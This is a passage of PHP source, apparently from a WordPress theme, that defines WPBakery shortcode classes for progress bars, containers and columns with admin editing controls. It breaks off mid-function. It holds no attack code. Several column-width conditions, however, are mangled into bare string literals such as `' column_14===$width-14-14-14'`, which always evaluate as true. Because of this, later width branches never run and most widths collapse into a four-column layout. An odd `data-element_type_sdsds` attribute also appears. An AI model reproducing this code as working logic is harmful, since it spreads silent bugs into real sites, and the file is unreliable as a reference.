class WPBakeryShortCode_Penci_Instagram extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Latest_Tweets extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Login_Form extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Mailchimp extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Open_Hours extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Pinterest extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Pricing_Table extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Progress_Bar extends WPBakeryShortCode {
	public static function convertAttributesToNewProgressBar( $atts ) {
		if ( isset( $atts['values'] ) && strlen( $atts['values'] ) > 0 ) {
			$values = vc_param_group_parse_atts( $atts['values'] );
			if ( ! is_array( $values ) ) {
				$temp        = explode( ',', $atts['values'] );
				$paramValues = array();
				foreach ( $temp as $value ) {
					$data             = explode( '|', $value );
					$colorIndex       = 2;
					$newLine          = array();
					$newLine['value'] = isset( $data[0] ) ? $data[0] : 0;
					$newLine['label'] = isset( $data[1] ) ? $data[1] : '';
					if ( isset( $data[1] ) && preg_match( '/^\d{1,3}\%$/', $data[1] ) ) {
						$colorIndex       += 1;
						$newLine['value'] = (float) str_replace( '%', '', $data[1] );
						$newLine['label'] = isset( $data[2] ) ? $data[2] : '';
					}
					if ( isset( $data[ $colorIndex ] ) ) {
						$newLine['customcolor'] = $data[ $colorIndex ];
					}
					$paramValues[] = $newLine;
				}
				$atts['values'] = urlencode( json_encode( $paramValues ) );
			}
		}

		return $atts;
	}
}

class WPBakeryShortCode_Penci_Single_Video extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Social_Counter extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Social_Media extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Team_Member extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Testimonial_Slider extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Testimonial extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Text_Block extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Video_Playlist extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Weather extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Popular_Cat extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Container extends WPBakeryShortCode {
	public $nonDraggableClass = 'vc-non-draggable-row';
	protected $predefined_atts = array(
		'el_class' => '',
	);

	/**
	 * @param $settings
	 */
	public function __construct( $settings ) {
		parent::__construct( $settings );
		$this->shortcodeScripts();
	}

	protected function shortcodeScripts() {
		wp_register_script( 'vc_jquery_skrollr_js', vc_asset_url( 'lib/bower/skrollr/dist/skrollr.min.js' ), array( 'jquery' ), WPB_VC_VERSION, true );
		wp_register_script( 'vc_youtube_iframe_api_js', '//www.youtube.com/iframe_api', array(), WPB_VC_VERSION, true );
	}

	public function template( $content = '' ) {
		return $this->contentAdmin( $this->atts );
	}

	public function contentAdmin( $atts, $content = null ) {
		$width = $el_class = '';
		$atts  = shortcode_atts( $this->predefined_atts, $atts );

		extract( $atts );

		$output          = '';
		$count_width     = $width && is_array( $width ) ? count( $width ) : 1;
		$column_controls = $this->getColumnControls( $this->settings( 'controls' ) );

		for ( $i = 0; $i < $count_width; $i ++ ) {
			$output .= '<div data-manh="" data-element_type="' . $this->settings['base'] . '" class="' . $this->cssAdminClass() . '">';
			$output .= str_replace( '%column_size%', 1, $column_controls );
			$output .= '<div class="wpb_element_wrapper">';
			$output .= '<div class="vc_row vc_row-fluid wpb_row_container vc_container_for_children">';
			if ( '' === $content && ! empty( $this->settings['default_content_in_template'] ) ) {
				$output .= do_shortcode( shortcode_unautop( $this->settings['default_content_in_template'] ) );
			} else {
				$output .= do_shortcode( shortcode_unautop( $content ) );

			}
			$output .= '</div>';
			if ( isset( $this->settings['params'] ) ) {
				$inner = '';
				foreach ( $this->settings['params'] as $param ) {
					if ( ! isset( $param['param_name'] ) ) {
						continue;
					}
					$param_value = isset( $atts[ $param['param_name'] ] ) ? $atts[ $param['param_name'] ] : '';
					if ( is_array( $param_value ) ) {
						// Get first element from the array
						reset( $param_value );
						$first_key   = key( $param_value );
						$param_value = $param_value[ $first_key ];
					}
					$inner .= $this->singleParamHtmlHolder( $param, $param_value );
				}
				$output .= $inner;
			}
			$output .= '</div>';
			$output .= '</div>';
		}

		return $output;
	}

	public function getColumnControls( $controls, $extended_css = '' ) {
		$output       = '<div class="penci_container_controls vc_controls vc_controls-row controls_row vc_clearfix">';
		$controls_end = '</div>';

		$icon     = $this->settings( 'icon' );
		$img_icon = $icon ? '<img  src="' . $icon . '" alt="icon"/>' : '';

		$controls_layout = $this->getLayoutsControl();
		$controls_add    = '';
		$controls_title  = '<span class="wpb_element_title"> ' . $img_icon . '</span>';
		$controls_move   = '<a class="vc_control column_move vc_column-move" href="#" title="' . __( 'Drag row to reorder', 'soledad' ) . '" data-vc-control="move"><i class="vc-composer-icon vc-c-icon-dragndrop"></i>' . $controls_title . '</a>';
		$controls_delete = '<a class="vc_control column_delete vc_column-delete" href="#" title="' . __( 'Delete this row', 'soledad' ) . '" data-vc-control="delete"><i class="vc-composer-icon vc-c-icon-delete_empty"></i></a>';
		$controls_edit   = ' <a class="vc_control column_edit vc_column-edit" href="#" title="' . __( 'Edit this row', 'soledad' ) . '" data-vc-control="edit"><i class="vc-composer-icon vc-c-icon-mode_edit"></i></a>';
		$controls_clone  = ' <a class="vc_control column_clone vc_column-clone" href="#" title="' . __( 'Clone this row', 'soledad' ) . '" data-vc-control="clone"><i class="vc-composer-icon vc-c-icon-content_copy"></i></a>';
		$controls_toggle = ' <a class="vc_control column_toggle vc_column-toggle" href="#" title="' . __( 'Toggle row', 'soledad' ) . '" data-vc-control="toggle"><i class="vc-composer-icon vc-c-icon-arrow_drop_down"></i></a>';
		$editAccess      = vc_user_access_check_shortcode_edit( $this->shortcode );
		$allAccess       = vc_user_access_check_shortcode_all( $this->shortcode );


		if ( is_array( $controls ) && ! empty( $controls ) ) {

			foreach ( $controls as $control ) {
				$control_var = 'controls_' . $control;
				if ( ( $editAccess && 'edit' == $control ) || $allAccess ) {
					if ( isset( ${$control_var} ) ) {
						$output .= ${$control_var};
					}
				}
			}
			$output .= $controls_end;
		} elseif ( is_string( $controls ) ) {
			$control_var = 'controls_' . $controls;
			if ( ( $editAccess && 'edit' === $controls ) || $allAccess ) {
				if ( isset( ${$control_var} ) ) {
					$output .= ${$control_var} . $controls_end;
				}
			}
		} else {
			$row_edit_clone_delete = '<span class="vc_row_edit_clone_delete">';
			if ( $allAccess ) {
				$row_edit_clone_delete .= $controls_delete . $controls_clone . $controls_edit;
			} elseif ( $editAccess ) {
				$row_edit_clone_delete .= $controls_edit;
			}
			$row_edit_clone_delete .= $controls_toggle;
			$row_edit_clone_delete .= '</span>';

			if ( $allAccess ) {
				$output .= $controls_move . $controls_layout . $controls_add . $row_edit_clone_delete . $controls_end;
			} elseif ( $editAccess ) {
				$output .= $row_edit_clone_delete . $controls_end;
			} else {
				$output .= $row_edit_clone_delete . $controls_end;
			}
		}

		return $output;
	}

	/**
	 * This returs block controls
	 */
	public function getLayoutsControl() {
		$vc_row_layouts  = array(
			array(
				'cells'      => '11',
				'mask'       => '12',
				'title'      => 'Full width',
				'icon_class' => '1-1',
			),
			array(
				'cells'      => '14_12_14',
				'mask'       => '313',
				'title'      => 'Sidebar + Content + Sidebar',
				'icon_class' => '1-4_1-2_1-4',
			),
			array(
				'cells'      => '23_13',
				'mask'       => '29',
				'title'      => 'Content + Sidebar',
				'icon_class' => '2-3_1-3',
			),
			array(
				'cells'      => '13_23',
				'mask'       => '29',
				'title'      => 'Sidebar + Content',
				'icon_class' => '2-3_1-3',
			),
			array(
				'cells'      => '12_12',
				'mask'       => '26',
				'title'      => '1/2 + 1/2',
				'icon_class' => '1-2_1-2',
			),
			array(
				'cells'      => '13_13_13',
				'mask'       => '312',
				'title'      => '1/3 + 1/3 + 1/3',
				'icon_class' => '1-3_1-3_1-3',
			),
			array(
				'cells'      => '12_14_14',
				'mask'       => '313',
				'title'      => 'Content + Sidebar + Sidebar',
				'icon_class' => '1-2_1-4_1-4',
			),
			array(
				'cells'      => '14_14_12',
				'mask'       => '313',
				'title'      => 'Sidebar + Sidebar + Content',
				'icon_class' => '1-4_1-4_1-2',
			),
			array(
				'cells'      => '14_14_14_14',
				'mask'       => '420',
				'title'      => '1/4 + 1/4 + 1/4 + 1/4',
				'icon_class' => '1-4_1-4_1-4_1-4',
			),
		);
		$controls_layout = '<span class="vc_row_layouts vc_control">';
		foreach ( $vc_row_layouts as $layout ) {
			$controls_layout .= '<a class="vc_control-set-column penci_set_layout cell-' . $layout['cells'] . ' " data-cells="' . $layout['cells'] . '" data-cells-mask="' . $layout['mask'] . '" data-hint="' . $layout['title'] . '"><i class="vc-composer-icon vc-c-icon-' . $layout['icon_class'] . '"></i></a> ';
		}
		$controls_layout .= '</span>';

		return $controls_layout;
	}

	public function cssAdminClass() {
		$sortable = ( vc_user_access_check_shortcode_all( $this->shortcode ) ? ' wpb_sortable' : ' ' . $this->nonDraggableClass );

		return 'wpb_' . $this->settings['base'] . $sortable . '' . ( ! empty( $this->settings['class'] ) ? ' ' . $this->settings['class'] : '' );
	}

	/**
	 * @return string
	 * @deprecated - due to it is not used anywhere? 4.5
	 * @typo Bock - Block
	 */
	public function customAdminBockParams() {
		// _deprecated_function( 'WPBakeryShortCode_VC_Row::customAdminBockParams', '4.5 (will be removed in 4.10)' );

		return '';
	}

	/**
	 * @param string $bg_image
	 * @param string $bg_color
	 * @param string $bg_image_repeat
	 * @param string $font_color
	 * @param string $padding
	 * @param string $margin_bottom
	 *
	 * @return string
	 * @deprecated 4.5
	 *
	 */
	public function buildStyle( $bg_image = '', $bg_color = '', $bg_image_repeat = '', $font_color = '', $padding = '', $margin_bottom = '' ) {
		// _deprecated_function( 'WPBakeryShortCode_VC_Row::buildStyle', '4.5 (will be removed in 4.10)' );

		$has_image = false;
		$style     = '';
		if ( (int) $bg_image > 0 && false !== ( $image_url = wp_get_attachment_url( $bg_image ) ) ) {
			$has_image = true;
			$style     .= 'background-image: url(' . $image_url . ');';
		}
		if ( ! empty( $bg_color ) ) {
			$style .= vc_get_css_color( 'background-color', $bg_color );
		}
		if ( ! empty( $bg_image_repeat ) && $has_image ) {
			if ( 'cover' === $bg_image_repeat ) {
				$style .= 'background-repeat:no-repeat;background-size: cover;';
			} elseif ( 'contain' === $bg_image_repeat ) {
				$style .= 'background-repeat:no-repeat;background-size: contain;';
			} elseif ( 'no-repeat' === $bg_image_repeat ) {
				$style .= 'background-repeat: no-repeat;';
			}
		}
		if ( ! empty( $font_color ) ) {
			$style .= vc_get_css_color( 'color', $font_color );
		}
		if ( '' !== $padding ) {
			$style .= 'padding: ' . ( preg_match( '/(px|em|\%|pt|cm)$/', $padding ) ? $padding : $padding . 'px' ) . ';';
		}
		if ( '' !== $margin_bottom ) {
			$style .= 'margin-bottom: ' . ( preg_match( '/(px|em|\%|pt|cm)$/', $margin_bottom ) ? $margin_bottom : $margin_bottom . 'px' ) . ';';
		}

		return empty( $style ) ? '' : ' style="' . esc_attr( $style ) . '"';
	}
}

class WPBakeryShortCode_Penci_Column extends WPBakeryShortCode {
	public $nonDraggableClass = 'vc-non-draggable-column';
	/**
	 * @var array
	 */
	protected $predefined_atts = array(
		'font_color'  => '',
		'el_class'    => '',
		'el_position' => '',
		'width'       => '1/2',
	);

	/**
	 * @param string $content
	 *
	 * @return string
	 */
	public function template( $content = '' ) {
		return $this->contentAdmin( $this->atts );
	}

	/**
	 * @param $atts
	 * @param null $content
	 *
	 * @return string
	 */
	public function contentAdmin( $atts, $content = null ) {
		$width = $el_class = '';

		extract( shortcode_atts( $this->predefined_atts, $atts ) );
		$output = '';

		$column_controls        = $this->getColumnControls( $this->settings( 'controls' ) );
		$column_controls_bottom = $this->getColumnControls( 'add', 'bottom-controls' );

		if ( ' column_14' === $width || ' 1/4' === $width ) {
			$width = array( 'vc_col-sm-3' );
		} elseif ( ' column_14===$width-14-14-14' ) {
			$width = array(
				'vc_col-sm-3',
				'vc_col-sm-3',
				'vc_col-sm-3',
				'vc_col-sm-3',
			);
		} elseif ( ' column_13' === $width || ' 1/3' === $width ) {
			$width = array( 'vc_col-sm-4' );
		} elseif ( ' column_13===$width-23' ) {
			$width = array(
				'vc_col-sm-4',
				'vc_col-sm-8',
			);
		} elseif ( ' column_13===$width-13-13' ) {
			$width = array(
				'vc_col-sm-4',
				'vc_col-sm-4',
				'vc_col-sm-4',
			);
		} elseif ( ' column_12' === $width || ' 1/2' === $width ) {
			$width = array( 'vc_col-sm-6' );
		} elseif ( ' column_12===$width-12' ) {
			$width = array(
				'vc_col-sm-6',
				'vc_col-sm-6',
			);
		} elseif ( ' column_23' === $width || ' 2/3' === $width ) {
			$width = array( 'vc_col-sm-8' );
		} elseif ( ' column_34' === $width || ' 3/4' === $width ) {
			$width = array( 'vc_col-sm-9' );
		} elseif ( ' column_16' === $width || ' 1/6' === $width ) {
			$width = array( 'vc_col-sm-2' );
		} elseif ( ' column_56' === $width || ' 5/6' === $width ) {
			$width = array( 'vc_col-sm-10' );
		} else {
			$width = array( '' );
		}
		$_count_width = count( (array) $width );
		for ( $i = 0; $i < $_count_width; $i ++ ) {
			$output .= '<div ' . $this->mainHtmlBlockParams( $width, $i ) . '>';
			$output .= str_replace( '%column_size%', wpb_translateColumnWidthToFractional( $width[ $i ] ), $column_controls );
			$output .= '<div class="wpb_element_wrapper">';
			$output .= '<div ' . $this->containerHtmlBlockParams( $width, $i ) . '>';
			$output .= do_shortcode( shortcode_unautop( $content ) );
			$output .= '</div>';
			if ( isset( $this->settings['params'] ) ) {
				$inner = '';
				foreach ( $this->settings['params'] as $param ) {
					$param_value = isset( ${$param['param_name']} ) ? ${$param['param_name']} : '';
					if ( is_array( $param_value ) ) {
						// Get first element from the array
						reset( $param_value );
						$first_key   = key( $param_value );
						$param_value = $param_value[ $first_key ];
					}
					$inner .= $this->singleParamHtmlHolder( $param, $param_value );
				}
				$output .= $inner;
			}
			$output .= '</div>';
			$output .= str_replace( '%column_size%', wpb_translateColumnWidthToFractional( $width[ $i ] ), $column_controls_bottom );
			$output .= '</div>';
		}

		return $output;
	}

	/**
	 * @param $controls
	 * @param string $extended_css
	 *
	 * @return string
	 */
	public function getColumnControls( $controls, $extended_css = '' ) {
		$output       = '<div class="vc_controls vc_control-column vc_controls-visible' . ( ! empty( $extended_css ) ? " {$extended_css}" : '' ) . '">';
		$controls_end = '</div>';

		if ( ' bottom-controls' === $extended_css ) {
			$control_title = __( 'Append to this column', 'soledad' );
		} else {
			$control_title = __( 'Prepend to this column', 'soledad' );
		}
		if ( vc_user_access()->part( 'shortcodes' )->checkStateAny( true, 'custom', null )->get() ) {
			$controls_add = '<a class="vc_control column_add vc_column-add" data-vc-control="add" href="#" title="' . $control_title . '"><i class="vc-composer-icon vc-c-icon-add"></i></a>';
		} else {
			$controls_add = '';
		}
		$controls_edit = '<a class="vc_control column_edit vc_column-edit"  data-vc-control="edit" href="#" title="' . __( 'Edit this column', 'soledad' ) . '"><i class="vc-composer-icon vc-c-icon-mode_edit"></i></a>';
		//$controls_delete = '<a class="vc_control column_delete vc_column-delete" data-vc-control="delete"  href="#" title="' . __( 'Delete this column', 'soledad' ) . '"><i class="vc-composer-icon vc-c-icon-delete_empty"></i></a>';
		$controls_delete = '';
		$editAccess      = vc_user_access_check_shortcode_edit( $this->shortcode );
		$allAccess       = vc_user_access_check_shortcode_all( $this->shortcode );
		if ( is_array( $controls ) && ! empty( $controls ) ) {
			foreach ( $controls as $control ) {
				if ( 'add' === $control || ( $editAccess && 'edit' === $control ) || $allAccess ) {
					$method_name = vc_camel_case( 'output-editor-control-' . $control );
					if ( method_exists( $this, $method_name ) ) {
						$output .= $this->$method_name();
					} else {
						$control_var = 'controls_' . $control;
						if ( isset( ${$control_var} ) ) {
							$output .= ${$control_var};
						}
					}
				}
			}

			return $output . $controls_end;
		} elseif ( is_string( $controls ) && 'full' === $controls ) {
			if ( $allAccess ) {
				return $output . $controls_add . $controls_edit . $controls_delete . $controls_end;
			} elseif ( $editAccess ) {
				return $output . $controls_add . $controls_edit . $controls_end;
			}

			return $output . $controls_add . $controls_end;
		} elseif ( is_string( $controls ) ) {
			$control_var = 'controls_' . $controls;
			if ( 'add' === $controls || ( $editAccess && 'edit' == $controls || $allAccess ) && isset( ${$control_var} ) ) {
				return $output . ${$control_var} . $controls_end;
			}

			return $output . $controls_end;
		}
		if ( $allAccess ) {
			return $output . $controls_add . $controls_edit . $controls_delete . $controls_end;
		} elseif ( $editAccess ) {
			return $output . $controls_add . $controls_edit . $controls_end;
		}

		return $output . $controls_add . $controls_end;
	}

	/**
	 * @param $width
	 * @param $i
	 *
	 * @return string
	 */
	public function mainHtmlBlockParams( $width, $i ) {
		$sortable = ( vc_user_access_check_shortcode_all( $this->shortcode ) ? 'wpb_sortable' : $this->nonDraggableClass );

		return 'data-element_type_sdsds="' . $this->settings['base'] . '" data-vc-column-width="' . wpb_vc_get_column_width_indent( $width[ $i ] ) . '" class="wpb_' . $this->settings['base'] . ' ' . $sortable . '' . ( ! empty( $this->settings['class'] ) ? ' ' . $this->settings['class'] : '' ) . ' ' . $this->templateWidth() . ' wpb_content_holder"' . $this->customAdminBlockParams();
	}

	/**
	 * @return string
	 */
	protected function templateWidth() {
		return '<%= window.vc_convert_column_size(params.width) %>';
	}

	/**
	 * @return string
	 */
	public function customAdminBlockParams() {
		return '';
	}

	/**
	 * @param $width
	 * @param $i
	 *
	 * @return string
	 */
	public function containerHtmlBlockParams( $width, $i ) {
		return 'class="wpb_column_container vc_container_for_children"';
	}

	/**
	 * @param $param
	 * @param $value
	 *
	 * @return string
	 */
	public function singleParamHtmlHolder( $param, $value ) {
		$output = '';
		// Compatibility fixes.
		$old_names  = array(
			'yellow_message',
			'blue_message',
			'green_message',
			'button_green',
			'button_grey',
			'button_yellow',
			'button_blue',
			'button_red',
			'button_orange',
		);
		$new_names  = array(
			'alert-block',
			'alert-info',
			'alert-success',
			'btn-success',
			'btn',
			'btn-info',
			'btn-primary',
			'btn-danger',
			'btn-warning',
		);
		$value      = str_ireplace( $old_names, $new_names, $value );
		$param_name = isset( $param['param_name'] ) ? $param['param_name'] : '';
		$type       = isset( $param['type'] ) ? $param['type'] : '';
		$class      = isset( $param['class'] ) ? $param['class'] : '';

		if ( isset( $param['holder'] ) && 'hidden' !== $param['holder'] ) {
			$output .= '<' . $param['holder'] . ' class="wpb_vc_param_value ' . $param_name . ' ' . $type . ' ' . $class . '" name="' . $param_name . '">' . $value . '</' . $param['holder'] . '>';
		}

		return $output;
	}

	/**
	 * @param string $font_color
	 *
	 * @return string
	 */
	public function buildStyle( $font_color = '' ) {
		$style = '';
		if ( ! empty( $font_color ) ) {
			$style .= vc_get_css_color( 'color', $font_color );
		}

		return empty( $style ) ? $style : ' style="' . esc_attr( $style ) . '"';
	}
}

class WPBakeryShortCode_Penci_Container_Inner extends WPBakeryShortCode {
	public $nonDraggableClass = 'vc-non-draggable-row';
	protected $predefined_atts = array(
		'el_class' => '',
	);

	/**
	 * @param $settings
	 */
	public function __construct( $settings ) {
		parent::__construct( $settings );
		$this->shortcodeScripts();
	}

	protected function shortcodeScripts() {
		wp_register_script( 'vc_jquery_skrollr_js', vc_asset_url( 'lib/bower/skrollr/dist/skrollr.min.js' ), array( 'jquery' ), WPB_VC_VERSION, true );
		wp_register_script( 'vc_youtube_iframe_api_js', '//www.youtube.com/iframe_api', array(), WPB_VC_VERSION, true );
	}

	public function template( $content = '' ) {
		return $this->contentAdmin( $this->atts );
	}

	public function contentAdmin( $atts, $content = null ) {
		$width = $el_class = '';
		$atts  = shortcode_atts( $this->predefined_atts, $atts );

		extract( $atts );

		$output          = '';
		$count_width     = $width && is_array( $width ) ? count( $width ) : 1;
		$column_controls = $this->getColumnControls( $this->settings( 'controls' ) );

		for ( $i = 0; $i < $count_width; $i ++ ) {
			$output .= '<div data-manh="" data-element_type="' . $this->settings['base'] . '" class="' . $this->cssAdminClass() . '">';
			$output .= str_replace( '%column_size%', 1, $column_controls );
			$output .= '<div class="wpb_element_wrapper">';
			$output .= '<div class="vc_row vc_row-fluid wpb_row_container vc_container_for_children">';
			if ( '' === $content && ! empty( $this->settings['default_content_in_template'] ) ) {
				$output .= do_shortcode( shortcode_unautop( $this->settings['default_content_in_template'] ) );
			} else {
				$output .= do_shortcode( shortcode_unautop( $content ) );

			}
			$output .= '</div>';
			if ( isset( $this->settings['params'] ) ) {
				$inner = '';
				foreach ( $this->settings['params'] as $param ) {
					if ( ! isset( $param['param_name'] ) ) {
						continue;
					}
					$param_value = isset( $atts[ $param['param_name'] ] ) ? $atts[ $param['param_name'] ] : '';
					if ( is_array( $param_value ) ) {
						// Get first element from the array
						reset( $param_value );
						$first_key   = key( $param_value );
						$param_value = $param_value[ $first_key ];
					}
					$inner .= $this->singleParamHtmlHolder( $param, $param_value );
				}
				$output .= $inner;
			}
			$output .= '</div>';
			$output .= '</div>';
		}

		return $output;
	}

	public function getColumnControls( $controls, $extended_css = '' ) {
		$output       = '<div class="penci_container_controls vc_controls vc_controls-row controls_row vc_clearfix">';
		$controls_end = '</div>';

		$icon     = $this->settings( 'icon' );
		$img_icon = $icon ? '<img src="' . $icon . '" alt="icon"/>' : '';

		$controls_layout = $this->getLayoutsControl();
		$controls_add    = '';
		$controls_title  = '<span class="wpb_element_title"> ' . $img_icon . '</span>';
		$controls_move   = '<a class="vc_control column_move vc_column-move" href="#" title="' . __( 'Drag row to reorder', 'soledad' ) . '" data-vc-control="move"><i class="vc-composer-icon vc-c-icon-dragndrop"></i>' . $controls_title . '</a>';
		$controls_delete = '<a class="vc_control column_delete vc_column-delete" href="#" title="' . __( 'Delete this row', 'soledad' ) . '" data-vc-control="delete"><i class="vc-composer-icon vc-c-icon-delete_empty"></i></a>';
		$controls_edit   = ' <a class="vc_control column_edit vc_column-edit" href="#" title="' . __( 'Edit this row', 'soledad' ) . '" data-vc-control="edit"><i class="vc-composer-icon vc-c-icon-mode_edit"></i></a>';
		$controls_clone  = ' <a class="vc_control column_clone vc_column-clone" href="#" title="' . __( 'Clone this row', 'soledad' ) . '" data-vc-control="clone"><i class="vc-composer-icon vc-c-icon-content_copy"></i></a>';
		$controls_toggle = ' <a class="vc_control column_toggle vc_column-toggle" href="#" title="' . __( 'Toggle row', 'soledad' ) . '" data-vc-control="toggle"><i class="vc-composer-icon vc-c-icon-arrow_drop_down"></i></a>';
		$editAccess      = vc_user_access_check_shortcode_edit( $this->shortcode );
		$allAccess       = vc_user_access_check_shortcode_all( $this->shortcode );


		if ( is_array( $controls ) && ! empty( $controls ) ) {

			foreach ( $controls as $control ) {
				$control_var = 'controls_' . $control;
				if ( ( $editAccess && 'edit' == $control ) || $allAccess ) {
					if ( isset( ${$control_var} ) ) {
						$output .= ${$control_var};
					}
				}
			}
			$output .= $controls_end;
		} elseif ( is_string( $controls ) ) {
			$control_var = 'controls_' . $controls;
			if ( ( $editAccess && 'edit' === $controls ) || $allAccess ) {
				if ( isset( ${$control_var} ) ) {
					$output .= ${$control_var} . $controls_end;
				}
			}
		} else {
			$row_edit_clone_delete = '<span class="vc_row_edit_clone_delete">';
			if ( $allAccess ) {
				$row_edit_clone_delete .= $controls_delete . $controls_clone . $controls_edit;
			} elseif ( $editAccess ) {
				$row_edit_clone_delete .= $controls_edit;
			}
			$row_edit_clone_delete .= $controls_toggle;
			$row_edit_clone_delete .= '</span>';

			if ( $allAccess ) {
				$output .= $controls_move . $controls_layout . $controls_add . $row_edit_clone_delete . $controls_end;
			} elseif ( $editAccess ) {
				$output .= $row_edit_clone_delete . $controls_end;
			} else {
				$output .= $row_edit_clone_delete . $controls_end;
			}
		}

		return $output;
	}

	/**
	 * This returs block controls
	 */
	public function getLayoutsControl() {
		$vc_row_layouts  = array(
			array(
				'cells'      => '12_12',
				'mask'       => '26',
				'title'      => '1/2 + 1/2',
				'icon_class' => '1-2_1-2',
			),
			array(
				'cells'      => '23_13',
				'mask'       => '29',
				'title'      => 'Content + Sidebar',
				'icon_class' => '2-3_1-3',
			),
			array(
				'cells'      => '13_23',
				'mask'       => '29',
				'title'      => 'Sidebar + Content',
				'icon_class' => '2-3_1-3',
			),
		);
		$controls_layout = '<span class="vc_row_layouts vc_control">';
		foreach ( $vc_row_layouts as $layout ) {
			$controls_layout .= '<a class="vc_control-set-column penci_set_layout cell-' . $layout['cells'] . ' " data-cells="' . $layout['cells'] . '" data-cells-mask="' . $layout['mask'] . '" data-hint="' . $layout['title'] . '"><i class="vc-composer-icon vc-c-icon-' . $layout['icon_class'] . '"></i></a> ';
		}
		$controls_layout .= '</span>';

		return $controls_layout;
	}

	public function cssAdminClass() {
		$sortable = ( vc_user_access_check_shortcode_all( $this->shortcode ) ? ' wpb_sortable' : ' ' . $this->nonDraggableClass );

		return 'wpb_' . $this->settings['base'] . $sortable . '' . ( ! empty( $this->settings['class'] ) ? ' ' . $this->settings['class'] : '' );
	}

	/**
	 * @return string
	 * @deprecated - due to it is not used anywhere? 4.5
	 * @typo Bock - Block
	 */
	public function customAdminBockParams() {
		// _deprecated_function( 'WPBakeryShortCode_VC_Row::customAdminBockParams', '4.5 (will be removed in 4.10)' );

		return '';
	}

	/**
	 * @param string $bg_image
	 * @param string $bg_color
	 * @param string $bg_image_repeat
	 * @param string $font_color
	 * @param string $padding
	 * @param string $margin_bottom
	 *
	 * @return string
	 * @deprecated 4.5
	 *
	 */
	public function buildStyle( $bg_image = '', $bg_color = '', $bg_image_repeat = '', $font_color = '', $padding = '', $margin_bottom = '' ) {
		// _deprecated_function( 'WPBakeryShortCode_VC_Row::buildStyle', '4.5 (will be removed in 4.10)' );

		$has_image = false;
		$style     = '';
		if ( (int) $bg_image > 0 && false !== ( $image_url = wp_get_attachment_url( $bg_image ) ) ) {
			$has_image = true;
			$style     .= 'background-image: url(' . $image_url . ');';
		}
		if ( ! empty( $bg_color ) ) {
			$style .= vc_get_css_color( 'background-color', $bg_color );
		}
		if ( ! empty( $bg_image_repeat ) && $has_image ) {
			if ( 'cover' === $bg_image_repeat ) {
				$style .= 'background-repeat:no-repeat;background-size: cover;';
			} elseif ( 'contain' === $bg_image_repeat ) {
				$style .= 'background-repeat:no-repeat;background-size: contain;';
			} elseif ( 'no-repeat' === $bg_image_repeat ) {
				$style .= 'background-repeat: no-repeat;';
			}
		}
		if ( ! empty( $font_color ) ) {
			$style .= vc_get_css_color( 'color', $font_color );
		}
		if ( '' !== $padding ) {
			$style .= 'padding: ' . ( preg_match( '/(px|em|\%|pt|cm)$/', $padding ) ? $padding : $padding . 'px' ) . ';';
		}
		if ( '' !== $margin_bottom ) {
			$style .= 'margin-bottom: ' . ( preg_match( '/(px|em|\%|pt|cm)$/', $margin_bottom ) ? $margin_bottom : $margin_bottom . 'px' ) . ';';
		}

		return empty( $style ) ? '' : ' style="' . esc_attr( $style ) . '"';
	}
}

class WPBakeryShortCode_Penci_Column_Inner extends WPBakeryShortCode {
	public $nonDraggableClass = 'vc-non-draggable-column';
	/**
	 * @var array
	 */
	protected $predefined_atts = array(
		'font_color'  => '',
		'el_class'    => '',
		'el_position' => '',
		'width'       => '1/2',
	);

	/**
	 * @param string $content
	 *
	 * @return string
	 */
	public function template( $content = '' ) {
		return $this->contentAdmin( $this->atts );
	}

	/**
	 * @param $atts
	 * @param null $content
	 *
	 * @return string
	 */
	public function contentAdmin( $atts, $content = null ) {
		$width = $el_class = '';

		extract( shortcode_atts( $this->predefined_atts, $atts ) );
		$output = '';

		$column_controls        = $this->getColumnControls( $this->settings( 'controls' ) );
		$column_controls_bottom = $this->getColumnControls( 'add', 'bottom-controls' );

		if ( ' column_14' === $width || ' 1/4' === $width ) {
			$width = array( 'vc_col-sm-3' );
		} elseif ( ' column_14===$width-14-14-14' ) {
			$width = array(
				'vc_col-sm-3',
				'vc_col-sm-3',
				'vc_col-sm-3',
				'vc_col-sm-3',
			);
		} elseif ( ' column_13' === $width || ' 1/3' === $width ) {
			$width = array( 'vc_col-sm-4' );
		} elseif ( ' column_13===$width-23' ) {
			$width = array(
				'vc_col-sm-4',
				'vc_col-sm-8',
			);
		} elseif ( ' column_13===$width-13-13' ) {
			$width = array(
				'vc_col-sm-4',
				'vc_col-sm-4',
				'vc_col-sm-4',
			);
		} elseif ( ' column_12' === $width || ' 1/2' === $width ) {
			$width = array( 'vc_col-sm-6' );
		} elseif ( ' column_12===$width-12' ) {
			$width = array(
				'vc_col-sm-6',
				'vc_col-sm-6',
			);
		} elseif ( ' column_23' === $width || ' 2/3' === $width ) {
			$width = array( 'vc_col-sm-8' );
		} elseif ( ' column_34' === $width || ' 3/4' === $width ) {
			$width = array( 'vc_col-sm-9' );
		} elseif ( ' column_16' === $width || ' 1/6' === $width ) {
			$width = array( 'vc_col-sm-2' );
		} elseif ( ' column_56' === $width || ' 5/6' === $width ) {
			$width = array( 'vc_col-sm-10' );
		} else {
			$width = array( '' );
		}
		$__count_width = count( (array) $width );
		for ( $i = 0; $i < $__count_width; $i ++ ) {
			$output .= '<div ' . $this->mainHtmlBlockParams( $width, $i ) . '>';
			$output .= str_replace( '%column_size%', wpb_translateColumnWidthToFractional( $width[ $i ] ), $column_controls );
			$output .= '<div class="wpb_element_wrapper">';
			$output .= '<div ' . $this->containerHtmlBlockParams( $width, $i ) . '>';
			$output .= do_shortcode( shortcode_unautop( $content ) );
			$output .= '</div>';
			if ( isset( $this->settings['params'] ) ) {
				$inner = '';
				foreach ( $this->settings['params'] as $param ) {
